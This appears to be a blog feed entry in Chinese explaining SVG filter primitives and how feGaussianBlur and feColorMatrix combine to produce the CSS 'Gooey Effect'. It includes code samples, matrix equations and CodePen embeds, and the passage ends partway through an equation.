&lt;li&gt;&lt;a href=&#34;https://developer.mozilla.org/en-US/docs/Web/SVG/Element/feComponentTransfer&#34;&gt;&lt;code&gt;&amp;lt;feComponentTransfer&amp;gt;&lt;/code&gt;&lt;/a&gt;：用于对图像的 RGBA 通道进行独立的颜色处理和调整。&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://developer.mozilla.org/en-US/docs/Web/SVG/Element/feComposite&#34;&gt;&lt;code&gt;&amp;lt;feComposite&amp;gt;&lt;/code&gt;&lt;/a&gt;：用于将多个图像按照指定的合成操作进行合成。&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://developer.mozilla.org/en-US/docs/Web/SVG/Element/feConvolveMatrix&#34;&gt;&lt;code&gt;&amp;lt;feConvolveMatrix&amp;gt;&lt;/code&gt;&lt;/a&gt;：用于应用卷积操作，可以实现模糊、锐化等效果。&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://developer.mozilla.org/en-US/docs/Web/SVG/Element/feDiffuseLighting&#34;&gt;&lt;code&gt;&amp;lt;feDiffuseLighting&amp;gt;&lt;/code&gt;&lt;/a&gt;：用于根据光源的位置和属性计算图像的表面照明效果。&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://developer.mozilla.org/en-US/docs/Web/SVG/Element/feDisplacementMap&#34;&gt;&lt;code&gt;&amp;lt;feDisplacementMap&amp;gt;&lt;/code&gt;&lt;/a&gt;：用于根据位图图像的像素值来扭曲原始图像，创建位移效果。&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://developer.mozilla.org/en-US/docs/Web/SVG/Element/feDropShadow&#34;&gt;&lt;code&gt;&amp;lt;feDropShadow&amp;gt;&lt;/code&gt;&lt;/a&gt;：用于在图像或文本周围添加投影阴影效果。&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://developer.mozilla.org/en-US/docs/Web/SVG/Element/feFlood&#34;&gt;&lt;code&gt;&amp;lt;feFlood&amp;gt;&lt;/code&gt;&lt;/a&gt;：用于创建一个填充整个图像区域的颜色或渐变。&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://developer.mozilla.org/en-US/docs/Web/SVG/Element/feGaussianBlur&#34;&gt;&lt;code&gt;&amp;lt;feGaussianBlur&amp;gt;&lt;/code&gt;&lt;/a&gt;：用于将图像进行高斯模糊处理。&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://developer.mozilla.org/en-US/docs/Web/SVG/Element/feImage&#34;&gt;&lt;code&gt;&amp;lt;feImage&amp;gt;&lt;/code&gt;&lt;/a&gt;：用于在图像中插入外部的位图图像。&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://developer.mozilla.org/en-US/docs/Web/SVG/Element/feMerge&#34;&gt;&lt;code&gt;&amp;lt;feMerge&amp;gt;&lt;/code&gt;&lt;/a&gt;：用于将多个图像按照指定的顺序进行合并。&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://developer.mozilla.org/en-US/docs/Web/SVG/Element/feMorphology&#34;&gt;&lt;code&gt;&amp;lt;feMorphology&amp;gt;&lt;/code&gt;&lt;/a&gt;：用于对图像进行形态学处理，如膨胀或腐蚀。&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://developer.mozilla.org/en-US/docs/Web/SVG/Element/feOffset&#34;&gt;&lt;code&gt;&amp;lt;feOffset&amp;gt;&lt;/code&gt;&lt;/a&gt;：用于将图像进行平移偏移。&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://developer.mozilla.org/en-US/docs/Web/SVG/Element/feSpecularLighting&#34;&gt;&lt;code&gt;&amp;lt;feSpecularLighting&amp;gt;&lt;/code&gt;&lt;/a&gt;：用于根据光源的位置和属性计算图像的镜面高光效果。&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://developer.mozilla.org/en-US/docs/Web/SVG/Element/feTile&#34;&gt;&lt;code&gt;&amp;lt;feTile&amp;gt;&lt;/code&gt;&lt;/a&gt;：用于将图像平铺到指定的区域内。&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://developer.mozilla.org/en-US/docs/Web/SVG/Element/feTurbulence&#34;&gt;&lt;code&gt;&amp;lt;feTurbulence&amp;gt;&lt;/code&gt;&lt;/a&gt;：用于创建具有噪点或纹理效果的图像。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;SVG 滤镜定义在 &lt;code&gt;&amp;lt;filter&amp;gt;&lt;/code&gt; 标签内，并且可以使用 &lt;code&gt;id&lt;/code&gt; 属性来为其指定一个 ID：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-svg&#34; data-lang=&#34;svg&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nt&#34;&gt;&amp;lt;svg&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;xmlns=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;http://www.w3.org/2000/svg&amp;#34;&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;&amp;gt;&lt;/span&gt;  
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nt&#34;&gt;&amp;lt;filter&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;id=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;filter-name&amp;#34;&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;&amp;gt;&lt;/span&gt;  
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;c&#34;&gt;&amp;lt;!-- 在这里定义 SVG 滤镜... --&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nt&#34;&gt;&amp;lt;/filter&amp;gt;&lt;/span&gt;  
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nt&#34;&gt;&amp;lt;/svg&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;例如，这是一个定义了 &lt;code&gt;&amp;lt;feGaussianBlur&amp;gt;&lt;/code&gt; 滤镜的 SVG 滤镜组，并且为其指定了 &lt;code&gt;blur&lt;/code&gt; 这个 ID。&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-svg&#34; data-lang=&#34;svg&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nt&#34;&gt;&amp;lt;svg&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;xmlns=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;http://www.w3.org/2000/svg&amp;#34;&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;version=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;1.1&amp;#34;&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;nt&#34;&gt;&amp;lt;defs&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nt&#34;&gt;&amp;lt;filter&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;id=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;blur&amp;#34;&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;nt&#34;&gt;&amp;lt;feGaussianBlur&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;stdDeviation=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;18&amp;#34;&lt;/span&gt; &lt;span class=&#34;nt&#34;&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nt&#34;&gt;&amp;lt;/filter&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;nt&#34;&gt;&amp;lt;/defs&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nt&#34;&gt;&amp;lt;/svg&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;至于为什么这里要特别提到 &lt;code&gt;&amp;lt;filter&amp;gt;&lt;/code&gt; 标签支持 &lt;code&gt;id&lt;/code&gt; 属性，继续往下阅读你就知道啦～&lt;/p&gt;
&lt;h2 id=&#34;已经有-css-滤镜了要这-svg-滤镜有什么用呢&#34;&gt;已经有 CSS 滤镜了，要这 SVG 滤镜有什么用呢&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;相比于 CSS 滤镜，SVG 滤镜可以实现一些 CSS 滤镜难以实现的效果&lt;/strong&gt;，例如 CSS 滤镜中的 &lt;a href=&#34;https://developer.mozilla.org/en-US/docs/Web/CSS/filter-function/blur&#34;&gt;&lt;code&gt;blur()&lt;/code&gt;&lt;/a&gt; 只能指定一个参数，用来控制整体的模糊程度，但是不能分别设定在 x 轴和 y 轴上的模糊程度。而 SVG 中的 &lt;a href=&#34;https://developer.mozilla.org/en-US/docs/Web/SVG/Element/feGaussianBlur&#34;&gt;&lt;code&gt;&amp;lt;feGaussianBlur&amp;gt;&lt;/code&gt;&lt;/a&gt; 滤镜则可以分别设定在 x 轴和 y 轴上的模糊程度，&lt;a href=&#34;https://developer.mozilla.org/en-US/docs/Web/SVG/Element/feGaussianBlur&#34;&gt;&lt;code&gt;&amp;lt;feGaussianBlur&amp;gt;&lt;/code&gt;&lt;/a&gt; 滤镜接受一个 &lt;code&gt;stdDeviation&lt;/code&gt; 参数，如果只为这个参数设定单个数值，则和 CSS 中的 &lt;a href=&#34;https://developer.mozilla.org/en-US/docs/Web/CSS/filter-function/blur&#34;&gt;&lt;code&gt;blur()&lt;/code&gt;&lt;/a&gt; 滤镜效果是一样的；如果为这个参数设定两个数值，例如 &lt;code&gt;&amp;lt;feGaussianBlur stdDeviation=&amp;quot;10 0&amp;quot; /&amp;gt;&lt;/code&gt;，则前面的值表示在 x 轴上的模糊程度，后面的值表示在 y 轴上的模糊程度。效果如下：&lt;/p&gt;</description>
      <content:encoded><![CDATA[<h1 id="svg-滤镜">SVG 滤镜</h1>
<h2 id="svg-滤镜是什么">SVG 滤镜是什么</h2>
<p>SVG 滤镜是用来为 SVG 中的形状或图形创建复杂效果的一种机制，SVG 提供了以下滤镜可供使用：</p>
<ol>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/SVG/Element/feBlend"><code>&lt;feBlend&gt;</code></a>：用于将两个图像按照指定的混合模式进行混合。</li>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/SVG/Element/feColorMatrix"><code>&lt;feColorMatrix&gt;</code></a>：用于通过矩阵操作调整图像的颜色和透明度。</li>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/SVG/Element/feComponentTransfer"><code>&lt;feComponentTransfer&gt;</code></a>：用于对图像的 RGBA 通道进行独立的颜色处理和调整。</li>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/SVG/Element/feComposite"><code>&lt;feComposite&gt;</code></a>：用于将多个图像按照指定的合成操作进行合成。</li>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/SVG/Element/feConvolveMatrix"><code>&lt;feConvolveMatrix&gt;</code></a>：用于应用卷积操作，可以实现模糊、锐化等效果。</li>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/SVG/Element/feDiffuseLighting"><code>&lt;feDiffuseLighting&gt;</code></a>：用于根据光源的位置和属性计算图像的表面照明效果。</li>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/SVG/Element/feDisplacementMap"><code>&lt;feDisplacementMap&gt;</code></a>：用于根据位图图像的像素值来扭曲原始图像，创建位移效果。</li>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/SVG/Element/feDropShadow"><code>&lt;feDropShadow&gt;</code></a>：用于在图像或文本周围添加投影阴影效果。</li>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/SVG/Element/feFlood"><code>&lt;feFlood&gt;</code></a>：用于创建一个填充整个图像区域的颜色或渐变。</li>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/SVG/Element/feGaussianBlur"><code>&lt;feGaussianBlur&gt;</code></a>：用于将图像进行高斯模糊处理。</li>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/SVG/Element/feImage"><code>&lt;feImage&gt;</code></a>：用于在图像中插入外部的位图图像。</li>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/SVG/Element/feMerge"><code>&lt;feMerge&gt;</code></a>：用于将多个图像按照指定的顺序进行合并。</li>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/SVG/Element/feMorphology"><code>&lt;feMorphology&gt;</code></a>：用于对图像进行形态学处理，如膨胀或腐蚀。</li>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/SVG/Element/feOffset"><code>&lt;feOffset&gt;</code></a>：用于将图像进行平移偏移。</li>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/SVG/Element/feSpecularLighting"><code>&lt;feSpecularLighting&gt;</code></a>：用于根据光源的位置和属性计算图像的镜面高光效果。</li>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/SVG/Element/feTile"><code>&lt;feTile&gt;</code></a>：用于将图像平铺到指定的区域内。</li>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/SVG/Element/feTurbulence"><code>&lt;feTurbulence&gt;</code></a>：用于创建具有噪点或纹理效果的图像。</li>
</ol>
<p>SVG 滤镜定义在 <code>&lt;filter&gt;</code> 标签内，并且可以使用 <code>id</code> 属性来为其指定一个 ID：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-svg" data-lang="svg"><span class="line"><span class="cl"><span class="nt">&lt;svg</span> <span class="na">xmlns=</span><span class="s">&#34;http://www.w3.org/2000/svg&#34;</span><span class="nt">&gt;</span>  
</span></span><span class="line"><span class="cl">    <span class="nt">&lt;filter</span> <span class="na">id=</span><span class="s">&#34;filter-name&#34;</span><span class="nt">&gt;</span>  
</span></span><span class="line"><span class="cl">        <span class="c">&lt;!-- 在这里定义 SVG 滤镜... --&gt;</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&lt;/filter&gt;</span>  
</span></span><span class="line"><span class="cl"><span class="nt">&lt;/svg&gt;</span>
</span></span></code></pre></div><p>例如，这是一个定义了 <code>&lt;feGaussianBlur&gt;</code> 滤镜的 SVG 滤镜组，并且为其指定了 <code>blur</code> 这个 ID。</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-svg" data-lang="svg"><span class="line"><span class="cl"><span class="nt">&lt;svg</span> <span class="na">xmlns=</span><span class="s">&#34;http://www.w3.org/2000/svg&#34;</span> <span class="na">version=</span><span class="s">&#34;1.1&#34;</span><span class="nt">&gt;</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&lt;defs&gt;</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&lt;filter</span> <span class="na">id=</span><span class="s">&#34;blur&#34;</span><span class="nt">&gt;</span>
</span></span><span class="line"><span class="cl">      <span class="nt">&lt;feGaussianBlur</span> <span class="na">stdDeviation=</span><span class="s">&#34;18&#34;</span> <span class="nt">/&gt;</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&lt;/filter&gt;</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&lt;/defs&gt;</span>
</span></span><span class="line"><span class="cl"><span class="nt">&lt;/svg&gt;</span>
</span></span></code></pre></div><p>至于为什么这里要特别提到 <code>&lt;filter&gt;</code> 标签支持 <code>id</code> 属性，继续往下阅读你就知道啦～</p>
<h2 id="已经有-css-滤镜了要这-svg-滤镜有什么用呢">已经有 CSS 滤镜了，要这 SVG 滤镜有什么用呢</h2>
<p><strong>相比于 CSS 滤镜，SVG 滤镜可以实现一些 CSS 滤镜难以实现的效果</strong>，例如 CSS 滤镜中的 <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/filter-function/blur"><code>blur()</code></a> 只能指定一个参数，用来控制整体的模糊程度，但是不能分别设定在 x 轴和 y 轴上的模糊程度。而 SVG 中的 <a href="https://developer.mozilla.org/en-US/docs/Web/SVG/Element/feGaussianBlur"><code>&lt;feGaussianBlur&gt;</code></a> 滤镜则可以分别设定在 x 轴和 y 轴上的模糊程度，<a href="https://developer.mozilla.org/en-US/docs/Web/SVG/Element/feGaussianBlur"><code>&lt;feGaussianBlur&gt;</code></a> 滤镜接受一个 <code>stdDeviation</code> 参数，如果只为这个参数设定单个数值，则和 CSS 中的 <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/filter-function/blur"><code>blur()</code></a> 滤镜效果是一样的；如果为这个参数设定两个数值，例如 <code>&lt;feGaussianBlur stdDeviation=&quot;10 0&quot; /&gt;</code>，则前面的值表示在 x 轴上的模糊程度，后面的值表示在 y 轴上的模糊程度。效果如下：</p>


<p class="codepen" data-height="333.28515625" data-slug-hash="QWJRgom" data-editable="true" data-user="lgiki-the-bold" style="height: 333.28515625px; box-sizing: border-box; display: flex; align-items: center; justify-content: center; border: 2px solid; margin: 1em 0; padding: 1em;">
  <span>See the Pen <a href="https://codepen.io/lgiki-the-bold/pen/QWJRgom">
  feGaussianBlur</a> by LGiki (<a href="https://codepen.io/lgiki-the-bold">@lgiki-the-bold</a>)
  on <a href="https://codepen.io">CodePen</a>.</span>
</p>
<script async src="https://cpwebassets.codepen.io/assets/embed/ei.js"></script>


<p>另外，SVG 的滤镜还支持 <a href="https://developer.mozilla.org/en-US/docs/Web/SVG/Attribute/in"><code>in</code></a> 和 <a href="https://developer.mozilla.org/en-US/docs/Web/SVG/Attribute/result"><code>result</code></a> 属性，<strong>可以将多个不同滤镜串联起来使用</strong>，做出很多 CSS 滤镜难以做出来的效果，并且 <a href="https://developer.mozilla.org/en-US/docs/Web/SVG/Attribute/in"><code>in</code></a> 属性还支持输入不同类型的值，例如设定为  <code>SourceGraphic</code> 表示将图像自身作为滤镜的输入、设定为 <code>SourceAlpha</code> 表示将元素的透明度作为滤镜的输入等…</p>
<p>可以说，SVG 的滤镜就像 Photoshop 的图层混合模式，可以随意搭配组合，构建出各种奇特的效果。</p>
<p>可是…CSS 滤镜可以直接运用于元素上，SVG 滤镜可以吗？</p>
<p>当然可以！前面有提到 SVG 的 <code>&lt;filter&gt;</code> 标签可以设定 <code>id</code> 属性，有了 id 之后只需在 CSS 中为元素增加 <code>filter: url('#filter-name')</code> 就可以将 SVG 滤镜应用于任意 HTML 元素上了，例如这样：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="p">.</span><span class="nc">selector</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">	<span class="k">filter</span><span class="p">:</span> <span class="nb">url</span><span class="p">(</span><span class="s1">&#39;#filter-name&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">	
</span></span><span class="line"><span class="cl">	<span class="c">/* 另外，也可以从外部 SVG 文件中加载 filter: */</span>
</span></span><span class="line"><span class="cl">	<span class="k">filter</span><span class="p">:</span> <span class="nb">url</span><span class="p">(</span><span class="s1">&#39;svg_file.svg#filter-name&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>这就是 SVG 滤镜好用的地方了，<strong>可以运用在任意的 HTML 元素上</strong>，例如网页上的文字、图片、视频等各种元素，可以实现很多奇特、有趣的效果，例如接下来要介绍的 Gooey Effect。</p>
<p>另外，在 <a href="https://caniuse.com/svg-filters">https://caniuse.com/svg-filters</a> 和 <a href="https://caniuse.com/css-filters">https://caniuse.com/css-filters</a> 的对比中可以看到，各家浏览器对 SVG 滤镜对支持其实是比 CSS 滤镜更好的。</p>
<h1 id="gooey-effect">Gooey Effect</h1>
<p>先来看看 Gooey Effect 长什么样子：（请使用 Firefox 或 Chrome 浏览器打开，请勿使用 Safari 浏览器）</p>


<p class="codepen" data-height="292.9765625" data-default-tab="html,result" data-slug-hash="jOQJZdG" data-editable="true" data-user="lgiki-the-bold" style="height: 292.9765625px; box-sizing: border-box; display: flex; align-items: center; justify-content: center; border: 2px solid; margin: 1em 0; padding: 1em;">
  <span>See the Pen <a href="https://codepen.io/lgiki-the-bold/pen/jOQJZdG">
  Gooey Effect</a> by LGiki (<a href="https://codepen.io/lgiki-the-bold">@lgiki-the-bold</a>)
  on <a href="https://codepen.io">CodePen</a>.</span>
</p>
<script async src="https://cpwebassets.codepen.io/assets/embed/ei.js"></script>


<p>我一开始是在 <a href="https://css-tricks.com/gooey-effect/">https://css-tricks.com/gooey-effect/</a> 发现 Gooey Effect 的，第一次看到这个效果的时候觉得很震撼，在看代码之前完全想不懂是如何实现的。看完之后才知道，原来通过 SVG 滤镜就能实现这么有趣的效果，这也是我开始研究 SVG 滤镜并写下这篇文章的原因。</p>
<p>如果想详细了解如何使用 SVG 滤镜实现 Gooey Effect 可以点击原文链接查看，下面我简单介绍一下这个效果的实现。</p>
<p>首先，从代码里面可以看到，这个特效本质上是通过 <code>&lt;feGaussianBlur&gt;</code>、<code>&lt;feColorMatrix&gt;</code> 和 <code>&lt;feBlend&gt;</code> 这三个滤镜实现的，那么就分别来看看这三个滤镜。</p>
<h2 id="fegaussianblur-滤镜"><code>&lt;feGaussianBlur&gt;</code> 滤镜</h2>
<p>前文有提到，<a href="https://developer.mozilla.org/en-US/docs/Web/SVG/Element/feGaussianBlur"><code>&lt;feGaussianBlur&gt;</code> 滤镜</a>就是用来实现高斯模糊的滤镜，接受一个 <a href="https://developer.mozilla.org/en-US/docs/Web/SVG/Attribute/stdDeviation"><code>stdDeviation</code></a> 参数，表示模糊的程度，值越大，模糊的程度越大，反之则越小，并且支持分开设定图形在 x 轴和 y 轴上的模糊程度。高斯模糊效果在很多软件中都有应用，例如 macOS、iOS 在很多 UI 的设计上就大量使用了高斯模糊的元素，Windows 10、Windows 11 中也有一定的运用。</p>
<p>而当在两个互相接近的移动图形上叠加一个高斯模糊滤镜之后，在图形接近/分离的时候，边缘会出现类似于互相吸附的效果：（你可以点击 <code>blur</code> 选框来切换是否模糊）</p>


<p class="codepen" data-height="534.375" data-slug-hash="yLQrRJJ" data-editable="true" data-user="lgiki-the-bold" style="height: 534.375px; box-sizing: border-box; display: flex; align-items: center; justify-content: center; border: 2px solid; margin: 1em 0; padding: 1em;">
  <span>See the Pen <a href="https://codepen.io/lgiki-the-bold/pen/yLQrRJJ">
  Gooey-Effect-Step-1</a> by LGiki (<a href="https://codepen.io/lgiki-the-bold">@lgiki-the-bold</a>)
  on <a href="https://codepen.io">CodePen</a>.</span>
</p>
<script async src="https://cpwebassets.codepen.io/assets/embed/ei.js"></script>


<p>这就是 Gooey Effect 的关键，通过高斯模糊制造出两个图形互相吸附的效果。那么，接下来的问题就是，如何保留这种图形互相吸附的效果，同时让图形的边缘清晰。仔细观察这个高斯模糊之后的图形，如果可以把图形边缘模糊的像素映射为黑色似乎就能解决这个问题，于是就可以使用 <code>&lt;feColorMatrix&gt;</code> 滤镜来实现这件事情。</p>
<h2 id="fecolormatrix-滤镜"><code>&lt;feColorMatrix&gt;</code> 滤镜</h2>
<p>SVG 中的 <a href="https://developer.mozilla.org/en-US/docs/Web/SVG/Element/feColorMatrix"><code>&lt;feColorMatrix&gt;</code> 滤镜</a>可以基于一个转换矩阵对元素的颜色进行转换，可以对元素的 RGBA 四个通道的颜色进行转换，其中，转换矩阵是一个 4 行 5 列的矩阵，定义如下：</p>

$$
\begin{bmatrix}
 r1 & r2 & r3 & r4 & r5\\
 g1 & g2 & g3 & g4 & g5\\
 b1 & b2 & b3 & b4 & b5\\
 a1 & a2 & a3 & a4 & a5
\end{bmatrix}
$$

<p>假设用 $R^\prime$、$G^\prime$、$B^\prime$、$A^\prime$ 分别表示经过 <code>&lt;feColorMatrix&gt;</code> 滤镜后每个像素点的 RGBA 值，那么 <code>&lt;feColorMatrix&gt;</code> 的运算实际上就是一个<a href="https://en.wikipedia.org/wiki/Matrix_multiplication">矩阵乘法</a>的过程：</p>


<div style="overflow-x: auto">

$$
\begin{bmatrix}
 R^\prime \\
 G^\prime \\
 B^\prime \\
 A^\prime \\
 1 
\end{bmatrix}
=
\begin{bmatrix}
 r_1 & r_2 & r_3 & r_4 & r_5\\
 g_1 & g_2 & g_3 & g_4 & g_5\\
 b_1 & b_2 & b_3 & b_4 & b_5\\
 a_1 & a_2 & a_3 & a_4 & a_5\\
 0 & 0 & 0 & 0 & 1
\end{bmatrix}
\cdot
\begin{bmatrix}
 R \\
 G \\
 B \\
 A \\
 1 
\end{bmatrix}
=
\begin{bmatrix}
 r_1*R+r_2*G+r_3*B+r_4*A+r_5 \\
 g_1*R+g_2*G+g_3*B+g_4*A+g_5 \\
 b_1*R+b_2*G+b_3*B+b_4*A+b_5 \\
 a_1*R+a_2*G+a_3*B+a_4*A+a_5 \\
 1 
\end{bmatrix}
$$
</div>


<p>假设 <code>&lt;feColorMatrix&gt;</code> 的变换矩阵为：</p>

$$
\begin{bmatrix}
 1 & 0 & 0 & 0 & 0\\
 0 & 1 & 0 & 0 & 0\\
 0 & 0 & 2 & 0 & 0\\
 0 & 0 & 0 & 1 & 0
\end{bmatrix}
$$


<p>那么实际上做的运算就是：</p>


<div style="overflow-x: auto">

$$
\begin{bmatrix}
 R^\prime \\
 G^\prime \\
 B^\prime \\
 A^\prime \\
 1 
\end{bmatrix}
=
\begin{bmatrix}
 1 & 0 & 0 & 0 & 0\\
 0 & 1 & 0 & 0 & 0\\
 0 & 0 & 2 & 0 & 0\\
 0 & 0 & 0 & 1 & 0\\
 0 & 0 & 0 & 0 & 1
\end{bmatrix}
\cdot
\begin{bmatrix}
 R \\
 G \\
 B \\
 A \\
 1 
\end{bmatrix}
=
\begin{bmatrix}
 R \\
 G \\
 2*B \\
 A \\
 1 
\end{bmatrix}
$$
</div>


<p>本质上就是把原本蓝色通道的值调整为原来的 2 倍，其余通道保持不变，那么图片应该就会变得更显蓝色一些。</p>
<p>我写了一个 feColorMatrix 的 Playground，你可以在线调节转换矩阵的值来看看对图片颜色的影响：<a href="https://fecolormatrix-playground.vercel.app/">https://fecolormatrix-playground.vercel.app/</a></p>


<iframe height="800" width="100%" src="https://fecolormatrix-playground.vercel.app/" style="border:solid 1px rgba(0,0,0,0.1)"></iframe>


<p>好了，回到 Gooey Effect，现在要做的事就是把图形边缘变得清晰，把模糊部分的像素映射为黑色即可。</p>
<p>那些模糊的像素，其实就是 Alpha 通道，因此，可以通过 <code>&lt;feColorMatrix&gt;</code> 滤镜把 Alpha 通道的像素映射为</p>
<p>首先需要了解一下 Alpha 通道，假设背景色为白色（<code>#ffffff</code>）、前景色为黑色（<code>#000000</code>），那么在不同 Alpha 值下的颜色如下所示，从左到右分别是 Alpha 为 0 到 Alpha 为 255 的颜色：</p>


<style>
.color-map-container {
  width: 100%;
  display: flex;
  flex-direction: column;
  gap: 2px;
  background: #fff !important;
  padding: 5px;
}



.color-map-container > .value-bar {
  display: flex;
  justify-content: space-between;
}

.color-map-container > .alpha-bar {
  width: 100%;
  height: 2em;
  background: linear-gradient(to right, #fff, #000);
  border: solid 1px #000;
}
</style>

<div class='color-map-container'>
  <div class='value-bar'>
    <span>0</span>
    <span>127</span>
    <span>255</span>
  </div>
  <div class='alpha-bar'></div>
</div>



<p>从上文经过 <code>&lt;feGaussianBlur&gt;</code> 滤镜之后得到的图形来看，边缘模糊的像素本质上是透明度（Alpha 值）各不相同的像素，因此如果我们能把边缘那些半透明的像素变为纯色的像素，不就可以让图形的边缘清晰起来，同时又具有吸附效果了吗！这时候就可以通过 <code>&lt;feColorMatrix&gt;</code> 滤镜实现。</p>
<p>在<a href="https://css-tricks.com/gooey-effect/">原文</a>中给出的 <code>&lt;feColorMatrix&gt;</code> 滤镜的参数是：</p>

$$
\begin{bmatrix}
 1 & 0 & 0 & 0 & 0\\
 0 & 1 & 0 & 0 & 0\\
 0 & 0 & 1 & 0 & 0\\
 0 & 0 & 0 & 18 & -7
\end{bmatrix}
$$

<p>即将 Alpha 通道扩大到原来的 18 倍再减去 7：</p>


<div style="overflow-x: auto">

$$
\begin{bmatrix}
 R^\prime \\
 G^\prime \\
 B^\prime \\
 A^\prime \\
 1 
\end{bmatrix}
=
\begin{bmatrix}
 1 & 0 & 0 & 0 & 0\\
 0 & 1 & 0 & 0 & 0\\
 0 & 0 & 1 & 0 & 0\\
 0 & 0 & 0 & 18 & -7\\
 0 & 0 & 0 & 0 & 1
\end{bmatrix}
\cdot
\begin{bmatrix}
 R \\
 G \\
 B \\
 A \\
 1 
\end{bmatrix}
=
\begin{bmatrix}
 R \\
 G \\
 B \\
